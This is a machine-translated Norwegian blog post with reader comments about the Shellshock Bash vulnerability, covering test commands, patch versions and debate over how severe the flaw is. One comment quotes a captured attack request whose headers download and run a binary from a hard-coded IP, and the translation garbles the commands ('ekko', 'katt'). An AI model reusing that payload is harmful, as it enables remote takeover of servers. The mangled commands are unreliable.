Det kjører som en brann på noen blogger, en historie publisert i sikkerhetsblogg de Red Hat om et sårbarhet som finnes i Bash på grunn av misbruk av globale variabler. I følge de opprinnelige nyhetene:
“... Sårbarheten skyldes at miljøvariabler med spesiallagde verdier kan opprettes før du ringer til bash-skallet. Disse variablene kan inneholde kode som kjøres så snart skallet påberopes. Navnet på disse utdypede variablene spiller ingen rolle, bare innholdet. Som et resultat blir denne sårbarheten eksponert i mange sammenhenger, for eksempel:
- ForceCommand den brukes i sshd-konfigurasjoner for å gi begrensede muligheter for kommandokjøring for eksterne brukere. Denne feilen kan brukes til å unngå det og gi vilkårlig kommandokjøring. Noen Git- og Subversion-implementeringer bruker slike begrensede skjell. Regelmessig bruk av OpenSSH påvirkes ikke ettersom brukere allerede har tilgang til en konsoll.
- Apache-server som bruker mod_cgi eller mod_cgid påvirkes hvis CGI-skript skrives både i bash eller gyter undernivåer. Slike undernivåer brukes implisitt av system / popen i C, av os.system / os.popen i Python, hvis du bruker et system / exec-skall i PHP (når du kjører i CGI-modus), og åpne / system i Perl (som avhenger av kommandostrengen).
- PHP-skript som kjøres med mod_php påvirkes ikke selv om undernivåer spilles av.
- DHCP-klienter påkaller shell-skript for å konfigurere systemet, med verdier hentet fra en potensielt skadelig server. Dette vil tillate at vilkårlige kommandoer utføres, vanligvis som root, på DHCP-klientmaskinen.
- Ulike demoner og programmer med SUID-privilegier kan utføre skallskripter med miljøvariabelverdiene satt / påvirket av brukeren, noe som gjør det mulig å utføre vilkårlige kommandoer.
- Ethvert annet program som kobles til et skall eller kjører et skallskript som å bruke bash som tolk. Shell-skript som ikke eksporterer variabler, er ikke sårbare for dette problemet, selv om de behandler upålitelig innhold og lagrer det i skallvariabler (venstre) og undernivåer åpne.
... "
Hvordan vite om min bash er påvirket?
Gitt dette er det en veldig enkel måte å vite om vi er berørt av denne sårbarheten. Faktisk testet jeg på Antergos og tilsynelatende har jeg ikke noe problem. Det vi må gjøre er å åpne en terminal og sette:
env x = '() {:;}; ekko sårbar 'bash -c "ekko dette er en test"
Hvis det kommer ut på denne måten har vi ikke noe problem:
env x = '() {:;}; ekko sårbart 'bash -c "ekko dette er en test" bash: advarsel: x: ignorerer funksjonsdefinisjon forsøk bash: feil importerer funksjonsdefinisjon for `x' dette er en test
Hvis resultatet er annerledes, vil du kanskje bruke oppdateringskanalene til våre foretrukne distribusjoner for å se om de allerede har brukt oppdateringen. Så du vet 😉
Oppdatert: Dette er resultatet fra en kollega som bruker Ubuntu 14:04:
env x = '() {:;}; ekko sårbart 'bash -c "ekko dette er en test" sårbart dette er en test
Som du kan se, så langt er det sårbart.
Jeg har Kubuntu 14.04 fra 64, og jeg får også:
env x = '() {:;}; ekko sårbar 'bash -c "ekko dette er en test"
sårbare
dette er en test
Jeg har allerede oppdatert, men det korrigerer ikke. Hva å gjøre?
Vent til de oppdateres. Allerede eOS for eksempel oppdatert .. 😀
Så rart, jeg har også Kubuntu 14.04
$ env x = '() {:;}; ekko sårbar 'bash -c "ekko dette er en test"
bash: advarsel: x: ignorerer funksjonsdefinisjonsforsøk
bash: feilimportering av funksjonsdefinisjon for `x '
dette er en test
Jeg legger til at versjonen av "bash" -pakken som ble lastet ned i dag er:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
I mitt tilfelle gir kommandoen meg bare følgende i terminalen:
>Uansett, vitsen er at jeg oppdaterte Debian Wheezy, og det var det som dumpet meg.
Wheezy er fortsatt sårbar for den andre delen av feilen, i det minste på ettermiddagen (UTC -4: 30), fulgte problemet fortsatt: /
Jeg har nettopp bekreftet at verken Slackware eller Debian eller Centos etter å ha brukt en oppdatering i morges er berørt siden de mottok en tilsvarende oppdatering.
Hva gjør Ubuntu fortsatt sårbar på denne tiden? Og fortell meg at det er trygt: D.
Men har du prøvd å oppdatere Ubuntu?
Med dagens oppdatering har de også fikset det.
OK
Sikkerhetseksperter advarer mot sårbarheten til 'Bash', det kan utgjøre en større trussel for brukere av Linux-programvare enn Heartbleed-feilen, der 'hackere' kan utnytte en feil i Bash for å ta full kontroll over et system.
Tod Beardsley, ingeniørleder i cybersecurityfirmaet Rapid7, advarte om at feilen ble rangert som 10 for alvorlighetsgraden, noe som betyr at den har maksimal innvirkning, og rangert som "lav" for kompleksiteten i utnyttelsen, noe som betyr at det er relativt enkelt for "hacker" angrep. Ved å bruke dette sikkerhetsproblemet kan angripere potensielt ta kontroll over operativsystemet, få tilgang til konfidensiell informasjon, gjøre endringer osv., ”Sa Beardsley. "Alle med systemer som okkuperer Bash, bør bruke plasteret umiddelbart," la han til.
FØR DENNE Sårbarheten som presenterer det gamle verktøyet (GNU) der Bach er vert, ville det være mer praktisk for Linux-programvare å kvitte seg med GNU og endre for BSD-verktøyet.
PS: Ikke CENSURER min ytringsfrihet, ... ikke fornærmet noen, ... ikke slett meldingen min som den forrige meldingen om at jeg har blitt slettet!.
Å ikke overdriv det. Hvordan jeg hater de menneskene som bruker BSD og forakter GNU, Linux eller noe fra disse prosjektene.
Jeg er med deg, og du har helt rett i hvor alvorlig dette hullet er.
Det var ikke sensur, det var overflødighet (du hadde gitt den samme kommentaren i gnome 3.14-innlegget)
“…
Er uoverensstemmelsen merkbar?
Hvordan kan det være enkelt å utnytte sårbarheten og samtidig ha et "lavt" risikonivå fordi det er så komplisert å bruke?
Det er en feil som ble løst innen få timer etter møtet, og som like heartbleed ikke har rapporter om å ha blitt utnyttet (selvfølgelig har dette mindre tid til å kjenne hverandre).
Det er mer tabloidpress enn reell risiko.
Virker @Staff uviktig for deg? Hva vil du fortelle meg nå?
GET./.HTTP/1.0
.Brukeragent: .Takk-Rob
.Cookie: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Host: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Refererer: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Aksepterer:. * / *
$ fil nginx
nginx: ELF 32-bit LSB-kjørbar, Intel 80386, versjon 1 (SYSV), statisk koblet, for GNU / Linux 2.6.18, strippet
$md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Vet du hva det er? Av lite farlig ingenting ...
Situasjonen er ganske alvorlig, men derfra for å si at du bør slutte å bruke bash for et BSD-alternativ, det er allerede på det meste, uansett er oppdateringen allerede der, jeg berører bare oppdatering og ingenting annet.
Nå PD, jeg tror det er mer kollega @robet, jeg tror ikke at her er admins dedikert til å slette kommentarer som dette fordi ja, fordi siden jeg deltok i dette samfunnet, har jeg hatt den følelsen, og jeg håper det forblir slik.
Hilsener.
Du legger nøyaktig samme kommentar til to forskjellige innlegg. Hvis du prøver å markedsføre "kilden" til nyhetene, beklager, dette er ikke stedet.
Bash kommer fra Unix (og GNU-klonen). BSD-baserte systemer som OSX er også berørt, og ifølge Genbeta har de ikke lappet det ennå. På samme måte, for å få tilgang til Bash, trenger du en brukerkonto, enten lokal eller via SSH.
@Personale:
1.- Det er klassifisert som nivå 10 (maksimalt farenivå) på grunn av mengden tjenester som kan påvirkes av feilen. I hovednotatet gjør de det faktum veldig klart, og argumenterer for at feilen kan påvirke tjenester som apache, sshd, programmer med suid-tillatelser (xorg, blant andre).
2.- Det er klassifisert som lav vanskelighetsgrad når det gjelder implementeringen, og det beste eksemplet på dette er sårbarhetstestskriptet som @elav har plassert i innlegget. Veldig vanskelig å implementere er ikke, som du kan se.
Jeg ser ikke overflødighet i informasjonen (jeg ser bare en Google-oversettelse), og hvis problemet er ganske alvorlig, og som du sier, har det allerede en oppdatering og en løsning, men ikke for det, det er ikke lenger en risiko og en ganske reell .
@petercheco / @Yukiteru
Ikke misforstå meg, jeg tror det er klart at min kritikk er nyheten om at Robet lenker og er fokusert på inkongruitet og ikke redundans.
På samme måte må vi skille mellom risiko og fare (jeg nevner ikke sistnevnte), vi bruker dem ofte som synonymer, men her vil fare være skadekapasiteten til feilen og risikere sannsynligheten for at den oppstår.
I mitt spesielle tilfelle kom jeg inn fra i går. Det var ikke for adresselister eller noe sånt. Det var for en stasjonær distro! Jeg tok telefonen og sendte en melding til sysadminen med lenken, og jeg bekreftet at jeg hadde alt lappet, så unnskyld meg, men disse nyhetene holder meg ikke våken.
I andre fora nevner de om Bash-sårbarheten, "løsningen som Debian og Ubuntu ga ut", men i dag oppdaget de at det fortsatt eksisterer et sårbarhet, så løsningen var ufullstendig, det er det de nevner!
Jeg ser at mange har kritisert meg for det enkle faktum å forhindre folk fra alvorlighetsgraden av sårbarhet - kvalifisert med nivå 10 med maksimal farlighet, og nevne mulige løsninger på Linux-programvare før det utdaterte GNU-verktøyet der Bash er vert - som perfekt GNU kunne bli erstattet med BSD-verktøyet i Linux Software, ... Jeg bruker også Linux og jeg liker Linux!
Jeg presiserer at Bash ikke kommer som standard installert i BSD, det er enda en Linux-kompatibilitetspakke som kan installeres i BSD ... ja!. Og kilden er satt slik at de kan sjekke nyhetene, siden mange av brukerne noen ganger ikke tror på meldingen eller kommentaren.
robet: Som de allerede har fortalt deg om og om igjen, legger du allerede kommentaren din med nyhetene i et innlegg, du trenger ikke å legge den i hvert innlegg du kommenterer.
Omtrent bash, ettersom det er andre skall som kan brukes i tilfelle Bash er sårbar. 😉
Robet, så vidt jeg vet er det ingen programvare som kombinerer linux-kjernen med BSD-brukerlandet. Det nærmeste er omvendt, kBSD + GNU, som Gentoo og Debian gjør. Dessuten kunne GNU (1983) ikke kalles "gammeldags" hvis det er etter BSD (1977). De deler begge sin unix-rot (men ikke koden), det ville ikke være "Linux-kompatibilitet" hvis Bash ble opprettet da Linus T fortsatt var barn.
uff, debian testing på dette tidspunktet er "sårbar" for en strek vi har ...
Jeg bruker Debian Testing, og til og med i denne grenen har vi mottatt bash-oppdateringen
ifølge genbeta er det også en annen sårbarhet
http://seclists.org/oss-sec/2014/q3/685
kommandoen for å konsultere er
env X = '() {(a) => \' sh -c "ekkosårbart"; bash -c "ekko Feil 2 ikke oppdatert"
env X = '() {(a) => \' sh -c "ekkosårbart"; bash -c "echo Unpatched Failure 2" sh: X: linje 1: syntaktisk feil nær uventet element `= 'sh: X: linje 1:' 'sh: feilimportering av funksjonsdefinisjon for` X' sh : sårbar: kommandoen ble ikke funnet Feil 2 uten oppdateringdet samme meg.
Samme her. Men den opprinnelige feilen i innlegget ble lappet i (L) Ubuntu 14.04
I stedet for å gjøre et enkelt ekko, prøv å få det til å utføre en instruksjon som krever privilegier, jeg kaster "utilstrekkelige privilegier" ... denne feilen eskalerer ikke privilegiene? Hvis den ikke eskalerer privilegier, er den ikke så farlig som de maler den. .
Du har rett!! de var to sårbarheter ...
For meg i Linux Mint 17 etter den andre bash-oppdateringen som de la i Ubuntu-repositoriene i går kveld, etter at den kommandoen ble utført, tilbyr skallet denne utgangen:
env X = '() {(a) => \' sh -c "ekkosårbart"; bash -c "ekko Feil 2 ikke pakket"
>
Versjonen av "bassh" som ble plassert i Ubuntu-arkiver for å oppdatere de forrige er:
4.3-7ubuntu1.2
På Debian-avledede systemer kan du sjekke den installerte versjonen med denne kommandoen:
dpkg -s bash | grep-versjon
Uansett, det bør avklares, i det minste for brukere av Debian, Ubuntu og Mint; Du bør ikke bekymre deg for mye om programmer som kjører skript med #! / Bin / sh-overskriften fordi på disse distribusjonene kaller ikke bin / sh "bash", men binder seg til skallet "dash" (dash er :)
Debian Alchemist Console (dash) er en avledet POSIX-konsoll
av aske.
.
Siden den utfører skript raskere enn bash, og har færre avhengigheter
biblioteker (noe som gjør den mer robust mot programvarefeil eller
maskinvare), brukes den som standard systemkonsoll på systemer
Debian.
Så, i det minste i Ubuntu, brukes "bash" som et skall for brukerinnlogging (også for rotbrukeren). Men enhver bruker kan bruke et annet skall som standard for bruker- og rotkonsoller (terminaler).
Det er enkelt å sjekke at skallet kjører skriptene (#! / Bin / sh) ved å utføre disse kommandoene:
fil / kasse / sh
(utgangen er / bin / sh: symbolsk lenke til `dash ') vi følger sporet og gjentar kommandoen
fil / søppel / bindestrek
(utgangen er / bin / dash: ELF 64-bit LSB delt objekt, x86-64, versjon 1 (SYSV), så dette er den kjørbare.
Dette er resultatene på en Linux Mint 17. Distribusjon. På andre ikke-Ubuntu / Debian-baserte distribusjoner kan de være forskjellige.
Det er ikke vanskelig å endre standardskallet !! du kan til og med bruke en annen for brukere og for rotbrukeren. Egentlig er det bare å installere skallet du ønsker og endre standard med kommandoen "chsh" eller ved å redigere / etc / passwd-filen (selv om brukere som ikke vet konsekvensene av en feil når de redigerer "passwd" -filen, det er Det er bedre at de informerer seg veldig godt, og før du redigerer den, lag en kopi av originalen i tilfelle det er nødvendig å gjenopprette den).
Jeg føler meg mer komfortabel med "tcsh" (tcsh er :)
TENEX C-konsollen, en forbedret versjon av Berkeley csh
"Csh" er det Mac OS X brukte for noen år siden. Noe logisk med tanke på at mye av Apples operativsystem er FreeBSD-kode. Nå fra det jeg leste i går, ser det ut til at de også gir "bash" for brukerterminaler.
KONKLUSJONER:
- Patchede "bash" -versjoner "for de mest brukte distribusjonene" har allerede blitt distribuert
- "bash" versjon 4.3-7ubuntu1.2 og senere inneholder ikke disse feilene
- Det er ikke obligatorisk å bruke "bash" i OS * Linux
- Få * Linux-distribusjonslenker #! / Bin / sh med "bash"
- Det er alternativer: ask, dash, csh, tcsh og noe mer
- Det er ikke komplisert å endre standardskallet som systemet kaller når det åpnes en terminal
- Få små enheter (rutere og andre) bruker "bash", fordi det er veldig stort !!
Akkurat nå har en ny oppdatering ankommet som installerer en annen versjon av "bash" 4.3-7ubuntu1.3
For Linux Mint 17 og Ubuntu 14.04.1 LTS
ArchLinux inngikk versjon bash-4.3.026-1
@ Xurxo… .csh fra Berkeley?, ... Du forstår noe av det jeg snakker ovenfor, og det er bedre å bruke BSD “csh”… i stedet for det gamle GNU-verktøyet der Bash er vert. Dette verktøyet er det beste for Linux-programvare.
Jeg antar at dette er feilen
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
ekte?
Og hva ville være løsningen?
Vent til de oppdaterer pakken på distribusjonen din 😉
Feilen ble døpt som skjell
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
sårbare
dette er en test
Ingen oppdatering ennå for Ubuntu Studio 14.04
Reparert i Ubuntu Studio 14.04.1
wisp @ ubuntustudio: ~ $ env x = '() {:;}; ekko sårbar 'bash -c "ekko dette er en test"
bash: advarsel: x: ignorerer funksjonsdefinisjonsforsøk
bash: feilimportering av funksjonsdefinisjon for `x '
dette er en test
Egentlig er det en mindre sårbarhet. Hvis det påvirker deg, er det at du gjorde noe galt før ...
Fordi et bash-skript som kjører med rotprivilegier, aldri skal utsettes for en bruker. Og hvis han løper uten privilegier, er det ingen slik bulnerabilitet. Egentlig er det dumt. Mye fryktinngytelse.
Jeg tenker det samme.
Akkurat, for å selge flere aviser eller få flere besøk, er disse feilene gode.
Men de glemmer alltid å nevne at for å kompromittere en datamaskin med denne typen skript, må du først ha tilgang til bash og deretter ha den som root.
ansatte hvis du bruker apache med cgi, bare legg inn http-overskriftene som informasjonskapsler eller referer til funksjonen du vil utføre. Det har til og med blitt brukt til å spre ormer.
og hvis noen legger et skall til en server med en wget mishell.php, i så fall er det ikke alvorlig, er det?
Enig med deg. Jeg trodde det var en stor feil som den i Heartbleed (til og med NSA lånte seg til å drive sykelighet), men til slutt var det en mindre feil.
Det er andre veldig alvorlige feil som det sprø forbruk av Flash og ytelsesfallet i Pepper Flash Player, og den som allerede er løst webRTC-feil i Chrome og Firefox.
Vet du om den har en ordning for folk som har Linux Mint 16?
I Debian-testing var det allerede løst.
I mine 5 distroer er det løst, i OS X-en vet jeg ikke.
Vennligst ikke sensurere kommentaren min, jeg sa OS X. Jeg vet ikke om du kan si OS X på dette nettstedet.
@yoyo vel, ikke freak det ut for mye at de fremdeles jobber med noen detaljer på lappen ... prøv dette og fortell meg hvordan XD
env x = '() {:;}; ekko sårbar 'bash -c "ekko jeg er mer sårbar enn iPhone 6 søppel"
At hvis de har det løst 100% før OS X, satser jeg på noe
Selv i Ars Technica gir de relevansen til Bash i OSX.
@Yoyo neste kommentar på OS X for SPAM .. lla tu save .. 😛
@yoyo der for å fikse sitatene ... men resten vet du 😉
FSF har snakket
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Som om de har blitt nedlatende med OSX (fordi OSX fortsatt bruker Bash: v).
Uansett, jeg trenger ikke rote med Debian Jessie så mye.
Hvis systemet er sårbart på Cent OS:
yum clean all && yum update bash
for å se bash-versjonen:
rpm -qa | grep bash
Hvis versjonen er tidligere enn bash-4.1.2-15.el6_5.1, kan systemet være sårbart!
Hilsener.
Andre sårbarhet er ikke løst ennå
env amvariable2 = '() {(a) => \' sh -c "ekko amVulnerable"; bash -c "ekko Feil 2 ikke oppdatert"
Oppdaterer ...
Det motsatte skjer med meg i Gentoo, jeg er bare sårbar for den første feilen, men med den andre får jeg dette:
[kode] sh: X: linje 1: syntaktisk feil nær uventet element `= '
sh: X: linje 1: ''
sh: feilimport av funksjonsdefinisjon for `X '
sh: sårbar: kommandoen ble ikke funnet
Feil 2 ikke lappet
[/ Code]
Jeg vet ikke om det allerede vil være en stabil versjon av Bash med feilene løst, men uansett vil den vente neste gang jeg gjør en emerge –sync && emerge –update –deep –with-bdeps = and - newuse @world (slik oppdaterer jeg hele systemet).
Jeg har Gentoo med versjon 4.2_p50 og så langt har den bestått alle testene. Prøv å komme fram –sync og deretter dukke opp -av1 app-shells / bash, og se etter versjon 4.2_p50 ved hjelp av kommandoen bash –version.
Har du prøvd dette?
Og med nye pakker, en ny test som Red Hat gir oss
cd / tmp; rm -f / tmp / ekko; env 'x = () {(a) => \' bash -c "ekkodato"; katt / tmp / ekko
Hvis systemet vårt ikke er sårbart og har blitt lappet riktig, må det gi oss noe slikt
1 dato
2 cat: / tmp / echo: Filen eller katalogen eksisterer ikke
Prøv på denne måten:
env X = '() {(a) => \' sh -c "ekkosårbart"; bash -c "ekko Feil 2 lappet"
jeg får
sårbare
Feil 2 lappet.
Glem det, linjen er dårlig formatert.
Utmerket! Jeg har allerede gjort oppdateringen på Slackware, takk!
Hei, et spørsmål dukker opp, jeg har flere servere med "SUSE Linux Enterprise Server 10" 64 bits.
Når jeg utfører kommandoene er jeg sårbar, er jeg enda mer sårbar enn søpla iPhone 6 xD
Hvis jeg ikke tar feil med å oppdatere / installere pakker i SUSE, gjøres det med kommandoen «zypper».
På noen servere forteller det meg dette:
BIAL: ~ # zypper opp
-bash: zypper: kommandoen ble ikke funnet
BIAL: ~ #
Og i andre dette:
SMB: ~ # zypper opp
Gjenoppretter systemkilder ...
Analyse av metadata for SUSE Linux Enterprise Server 10 SP2-20100319-161944 ...
Analyse av RPM-database ...
Sammendrag:
Ingenting å gjøre.
Hva jeg gjør?
Jeg vet at noen sier at sårbarhet er mindre enn det de maler, men jeg har det, og jeg vil ikke bli utsatt for risiko, det være seg lite eller stort.
Hilsener.
God kveld, jeg har prøvd å lime inn koden du oppga i artikkelen, jeg skjønner
slipemaskiner @ pc-slipemaskiner: ~ $ env x = '() {:;}; ekko sårbar 'bash -c "ekko dette er en test"
dette er en test
slipemaskiner @ pc-slipemaskiner: ~ $
Vil du forklare meg hvordan du lapper distro, oppdaterer jeg daglig, og jeg ser ingen endringer i ledeteksten.
Tusen takk!